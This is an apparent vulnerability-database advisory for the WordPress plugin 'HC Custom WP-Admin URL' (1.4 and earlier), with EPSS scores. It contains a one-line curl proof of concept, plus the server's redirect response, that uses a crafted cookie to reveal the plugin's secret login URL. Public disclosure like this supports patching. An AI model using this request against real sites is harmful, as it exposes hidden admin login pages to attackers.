Lucene search

K
wpexploitDaniel RufWPEX-ID:0218C90C-8F79-4F37-9A6F-60CF2F47D47B
HistoryMay 18, 2022 - 12:00 a.m.

HC Custom WP-Admin URL <= 1.4 - Unauthenticated Secret URL Disclosure

2022-05-1800:00:00
Daniel Ruf
93

0.002 Low

EPSS

Percentile

52.8%

The plugin leaks the secret login URL when sending a specific crafted request

curl -sIXGET -H "Cookie: valid_login_slug=1" https://example.com/wp-login.php

HTTP/2 302 
x-redirect-by: WordPress
location: secret

0.002 Low

EPSS

Percentile

52.8%

Related for WPEX-ID:0218C90C-8F79-4F37-9A6F-60CF2F47D47B